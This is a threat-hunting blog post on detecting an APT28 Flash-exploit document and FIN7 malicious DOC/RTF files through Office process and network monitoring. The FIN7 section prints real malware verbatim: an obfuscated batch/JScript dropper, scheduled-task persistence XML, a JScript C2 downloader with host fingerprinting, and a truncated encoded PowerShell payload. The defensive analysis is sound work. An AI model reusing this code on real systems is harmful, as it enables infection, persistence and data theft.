Hunting APT28 CVE-2017-11292 Flash Vulnerability

Proofpoint made public a couple of days ago that APT28 is using the last flash 0-day CVE-2017-11292 via some malicious weaponized DOC files; APT28 racing to exploit CVE-2017-11292 Flash vulnerability before patches are deployed

So far I have not seen this vulnerability abused by common malware but I guess is a matter of time that cyber criminals starts using it. 

At the moment in VT there are only 2 files with the tag CVE-2017-11292 . 

The second one is basically the Flash embedded into the first one.

In order to create a Use Case to detect it, first of all I check which processes are

spawned by Microsoft Word, but unfortunately there is no single processes spawned.

Although, I see there is some communication performed to a domain blackpartshare.com

This means that Microsoft Word is doing the connection to Internet, and I can hunt for that:

Seeing the amount of malware abusing Microsoft Word documents, it is  a must to closely monitor any anormal activity coming from Microsoft Office as I have discussed in this blog, like for example, commands spawned, connections done, etc.

The domain accessed in this case is  the domain reported in proofpoint blog post which has been registered a couple of days ago.

Again, this might be a good indicator.

if you can get a whitelist of domains which are most frequently accessed in your environment and combined with top Alexa 500, you might create a Use Case to monitor the registration date of the domains which might be a good indicator. I wrote a Use Case to detect this kind of behaviour in Exploit Kits some time ago; Hunting Exploit Kits Abusing Domain Generator Algorithm. There might be other ways to do it, via for example Passive DNS or similar, but in the end the the target is the same.

Coming back to the behaviour of this malicious DOC file, one of the things I see is that it loads some Image in order to open the flash embedded via an ActiveX in the document. 

It is possible to spot this behaviour while monitoring what Image are loaded by Microsoft Word

Monitoring all the Image Loaded by a process like Microsoft Office can generated lot of noise, that is why it is important to narrow with appropriate filters. 

Things like Flash, with historically many vulnerabilities being exploited, is something you might consider to monitor closely.

Now it is possible to combined two use cases: the connections established by Microsoft word and the Flash image loaded in order to create a more advance Use Case. This is done with one sub-search using the process_id.

I search for any MS Office process which loads flash and then performs a connections to Internet.

There might be other approaches, like monitoring registry keys related to Flash and office, and connections, but I find this process quite simple and working.

Again, it is important to keep a close eye in any Microsoft Office process and the connections established, as this might be good indicators :)

Hunting FIN7 malicious documents

A few days ago I read an interesting post about some new technique that FIN7 Threat Actors are using to deliver malicious payloads in RTF and DOC files. The ratio of detection was in the best case only 1/59

Although at the moment of writing this post the detection is much higher.

In any case, this is an interesting case to take a look.

Both files, the DOC and RTF, contains an OLE object which it is a CMD file. 

The CMD file is a batch file which contains a set of windows commands.

This means that a cmd.exe command will be spawned in order to executed the commands in the file.

A first use case to detect this malicious behaviour is to monitor all the child processes spawned by any Office program. This is the same approach explained in other posts in this blog.

The CMD (unlock.cmd) is the following 

@set w=wsc@ript /b /e:js@cript %HOMEPATH%\tt.txt
@echo try{var fs=new ActiveXObject('Scripting.FileSystemObject');sh=new ActiveXObject('Wscript.Shell');p=sh.ExpandEnvironmentStrings('%%HOM'+'EPATH%%')+'\\pp.txt';var f=fs.OpenTextFile(p,1,false);for(i=0;i^<4;i++)f.SkipLine();var com='';while(!f.AtEndOfStream)com+=f.ReadLine().substr(1);f.Close();try{fs.DeleteFile(p, true);}catch(e){}this[String.fromCharCode(101)+'v'+'al'](com);}catch(e){}; >%HOMEPATH%\tt.txt
@copy /y %TMP%\unlock.cmd %HOMEPATH%\pp.txt
@echo %w:@=%|cmd
#function b64dec(data){
# var cdo = new ActiveXObject("CDO.Message");
# var bp = cdo.BodyPart;
# bp.ContentTransferEncoding = "base64";
# bp.Charset = "windows-1251";
# var st = bp.GetEncodedContentStream();
# st.WriteText(data);
# st.Flush();
# st = bp.GetDecodedContentStream();
# st.Charset = "utf-8";
# return st.ReadText;
#}
#var fso = new ActiveXObject("Scripting.FileSystemObject");
#var sh = new ActiveXObject("Wscript.Shell");
#var fldr = sh.ExpandEnvironmentStrings("%HOMEPATH%");
#var p = "";
#p = fldr + "\\whatis.ini";
#if(!fso.FileExists(p)){
# var f = fso.OpenTextFile(p,2,1);
# f.Write( b64dec('ZnVu......

# f.Close();   
#}
#cmd = 'wscript.exe //b //e:jscript "' + p + '"';
#sh.Run(cmd, 0, false);
#fso.DeleteFile(WScript.ScriptFullName, true);
#function Abracadabra(){
# try{
#  var objWord=GetObject("","Word.Application");
#  objWord.Visible = true;
#  objWord.ScreenUpdating = false;
#  var objDoc = objWord.ActiveDocument;
#  objDoc.Content.Select();
#  objWord.Selection.Delete();
#  var objRange = objDoc.Range();
#  objRange.InsertAfter("ȪȪɃɅɄwɁȦɍɧɬɶɵɗɀȄ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("Ȫ ɃɅɄɁȦɍɧ ɬɶɵɗɀȄ ȪȧȀɥȦȿɃɚɚɏwɳɨɁǿȨ ȭȰșșɐɩɘɂɂȕȗȘȱəȓɏɾءاةیییڱڱۉ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("Ȗ ɤɤɢɩ ɕȧɵʋʒɛȚȃȃǾȺȻɄɜwɯȓ ɓɻɘȜȾɒȻɓə ɤɤʂɦɑɑɂȩɶ ʶʂɖɑɤɄɅɄǽȹɥɿɅȮȤɵʷȭɂʐʉʉ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ȩɄɄɤȯȮǾɐʥ ʥʥɋɏɏȰȦɬɫwɒɯɚȩȩɈɓȨɃɃ Ȫɏɏɴɴɗȫȧȯ ȯȯȑȑȕȗțȝȝɦɤɍȹȦȫ Ȯɭʁʀɸɷ ɣȾɗə əəɒɐȸ ȺȚʥ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ʣɸɗʄɻʎʡʠʠʐʐʔʖɫɓɑɣəȹɴwʏȽɞɞ ȻɄɜɯȓɓɻɘȜȾɒ ɑɂȩɶʶʂɖɑɤɄɅɄǽȹɥɿɅȮȤɵ ɃɅɄɁȦɍɧɬɶɵɗɀȄ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ưnjƠƞưƤƊƌ ƛ ƳƴƤƊ ƥwƥƥţƠƠƵ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ŸƌƌƉȮɐɐwɕɖɔɔȾȨʞʞɐʁ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ɂȩɶʶʂɖwɑ Ʉǽȹ");
#  objRange.InsertParagraphAfter();  
#  objWord.ScreenUpdating = true; 
# } catch(e) { }  
#}
#Abracadabra();

Without going into the details of the execution flow, in essence the CMD, while executing the code, generates and executes an obfuscated file, which it is reality a JS file, and this same process is repeated several times in a loop. Several files with different extension are created (.INI, CHM and TXT,) however all of them are executed with the command "wscript" as showed below:







On important thing that happens is that there is a delay of 100s before to execute the second script in order to by-pass sanboxes and AV.

At some stage there is a schedule task created base on an XML.

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
 <Triggers>
   <TimeTrigger>
     <Repetition>
       <Interval>PT47M</Interval>
       <StopAtDurationEnd>false</StopAtDurationEnd>
     </Repetition>
     <StartBoundary>2017-05-22T20:21:00</StartBoundary>
     <Enabled>true</Enabled>
   </TimeTrigger>
 </Triggers>
 <Settings>
   <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
   <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
   <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
   <AllowHardTerminate>true</AllowHardTerminate>
   <StartWhenAvailable>false</StartWhenAvailable>
   <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
   <IdleSettings>
     <Duration>PT10M</Duration>
     <WaitTimeout>PT1H</WaitTimeout>
     <StopOnIdleEnd>true</StopOnIdleEnd>
     <RestartOnIdle>false</RestartOnIdle>
   </IdleSettings>
   <AllowStartOnDemand>true</AllowStartOnDemand>
   <Enabled>true</Enabled>
   <Hidden>false</Hidden>
   <RunOnlyIfIdle>false</RunOnlyIfIdle>
   <WakeToRun>false</WakeToRun>
   <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
   <Priority>7</Priority>
 </Settings>
 <Actions Context="Author">
   <Exec>
     <Command>wscript.exe</Command>
     <Arguments>//b /e:jscript \Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}\59d76612d0ba68.06041356.txt</Arguments>
   </Exec>
 </Actions>
</Task>

So now we know how the persistence is achieve: via a schedule task which executes the command:

wscript.exe /b /e:jscript \Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}\59d76612d0ba68.06041356.txt

The directory "Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}" is used to store all the temporal files created and executed via the initial CMD command.

The schedule task can be seen via the windows GUI





At some point, there is some commands to map the system




The WScript runs every minute, so it is a good indicator also to check




There is a moment in which one of the scripts spawns a PowerShell command




The script basically acts as a dropper using powershell.

function readFile(p)
{
 try{ 
  var fs = new ActiveXObject("Scripting.FileSystemObject");
  var file = fs.GetFile(p);
  var stream = file.OpenAsTextStream(1, 0);
  var content = stream.ReadAll();
  stream.Close();
  return content;
 }catch(e){
  return "";
 } 
}
function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;
    do{ 
  curDate = new Date();
  WScript.Sleep(100); 
 }while(curDate-date < millis);
}

function getProxy(){
 var WshShell = new ActiveXObject("WScript.Shell");
 
 try {
  var ProxyEnable = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable");
  if(ProxyEnable == 1){
   var ProxyServer = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer");
   return ProxyServer;
  }else{
   return "";
  }
 } catch (e) {
  return "";
 }   
}

function downLoadUrl(metod,urlArr,url,val){
 for(var i=0; i<urlArr.length; i++) { 
  try {
   var xmlServerHttp = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");  
   xmlServerHttp.open(metod, urlArr[i] + url, false);
   var prox = getProxy();
   if( prox != ""){
    xmlServerHttp.setProxy(2, prox, "");
   }    
   xmlServerHttp.setOption(2, 13056);
   //xmlServerHttp.setTimeouts(0, 0, 0, 0);
   xmlServerHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
   xmlServerHttp.setRequestHeader("Charset","utf-8");
   xmlServerHttp.setRequestHeader("Connection","Keep-Alive");
   xmlServerHttp.setRequestHeader("Keep-Alive","300");  
   xmlServerHttp.send(val);
   while (xmlServerHttp.readyState != 4) {
      xmlServerHttp.waitForResponse(1000);
   }
   if(xmlServerHttp.status == 200) {
    return xmlServerHttp.responseText;
   }  
  }catch(e){}
 }
 return ""; 
}

function b64enc(data){
 var cdo = new ActiveXObject("CDO.Message");
 var bp = cdo.BodyPart;
 bp.Charset = "utf-8";
 bp.ContentTransferEncoding = "base64";
 var st = bp.GetDecodedContentStream();
 st.WriteText(data);
 st.Flush();
 st = bp.GetEncodedContentStream();
 var result = st.ReadText(st.Size - 2);
 return result.replace(/\r\n/g, '');
}
function b64dec(data){
 var cdo = new ActiveXObject("CDO.Message");
 var bp = cdo.BodyPart;
 bp.ContentTransferEncoding = "base64";
 bp.Charset = "windows-1251";
 var st = bp.GetEncodedContentStream();
 st.WriteText(data);
 st.Flush();
 st = bp.GetDecodedContentStream();
 st.Charset = "utf-8";
 return st.ReadText;
}

function cuid(){
 var rmac = "1";
 try {
  var oWmiService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
  var cItems = oWmiService.ExecQuery("Select * from Win32_NetworkAdapter where physicaladapter=true");
  var oItem = new Enumerator(cItems);
  for (;!oItem.atEnd();oItem.moveNext()) {
   var mac = oItem.item().MACAddress;
   if(mac != null && typeof mac == "string"){
    rmac = mac;  
   }
  }
  rmac = rmac.replace(/[^A-Za-z0-9]/g, '');
 } catch (e) {} 
 var sn = "2";
 try {
  var FSO = new ActiveXObject("Scripting.FileSystemObject"); 
  var strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0));
  var D = FSO.GetDrive(strDrive);
  sn = D.SerialNumber;
 } catch (e) {}
 sn = b64enc(sn.toString());
 sn = sn.replace(/[^\w]+/g, "").slice(0, 20);
 rmac = rmac.slice(0, 20);
 return sn+rmac;
}

function getRandomInt(min, max) {
  return Math.floor(Math.random() * (max - min)) + min;
}
function randomString(length, chars) {
    var mask = '';
    if (chars.indexOf('a') > -1) mask += 'abcdefghijklmnopqrstuvwxyz';
    if (chars.indexOf('A') > -1) mask += 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    if (chars.indexOf('#') > -1) mask += '0123456789';
    if (chars.indexOf('!') > -1) mask += '~`!@#$%^&*()_+-={}[]:";\'<>?,./|\\';
    var result = '';
    for (var i = length; i > 0; --i) result += mask.charAt(Math.floor(Math.random() * mask.length));
    return result;
}
function randomParamName(){
    result = randomString(getRandomInt(1,3), 'aA') + randomString(getRandomInt(1,8), 'aA#');
    return result;
}
function randomParamData(){
    result = randomString(getRandomInt(1,12), 'aA#');
    return result;
}
function randomUrl(str){
 var result = "";
 var parArray = [];
 parArray.push({ name: randomParamName(), data: encodeURI(SimpleEncrypt(str)) });
 parArray.push({ name: randomParamName(), data: encodeURI(b64enc(kkid)) });
 for (var i = getRandomInt(0,5); i > 0; --i){
  parArray.push({ name: randomParamName(), data: randomParamData() });
 }
 parArray.sort(function(a, b){return 0.5 - Math.random()});
 
 for (var i = 0; i < parArray.length; i++) {
  result += parArray[i].name + "=" + parArray[i].data + "&";
 } 
 return "?" + result.replace(/&+$/,'');
}

function SimpleEncrypt(a){
 var str = b64enc(a);
 var chrArr = str.split('');
 var pos = -1;
 var resultArray = [];
 for (var i = 0; i < chrArr.length; i++) {
  pos = alfIn.indexOf(chrArr[i]);
  if( pos != -1 ){
   resultArray.push( alfOut.charAt(pos) );
  }else{
   resultArray.push( chrArr[i] );
  }
 }
 return resultArray.join("");
}
function SimpleDencrypt(a){
 var str = a;
 var chrArr = str.split('');
 var pos = -1;
 var resultArray = [];
 for (var i = 0; i < chrArr.length; i++) {
  pos = alfOut.indexOf(chrArr[i]);
  if( pos != -1 ){
   resultArray.push( alfIn.charAt(pos) );
  }else{
   resultArray.push( chrArr[i] );
  }
 }
 return b64dec(resultArray.join(""));
}


var evalString = (function () {/*
try{
 var fso = new ActiveXObject("Scripting.FileSystemObject");
 var sh = new ActiveXObject("Wscript.Shell");
 var jsLoaderDir = "{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}"; 
 var PS1Body = "$EncodedCompressedFile = @'
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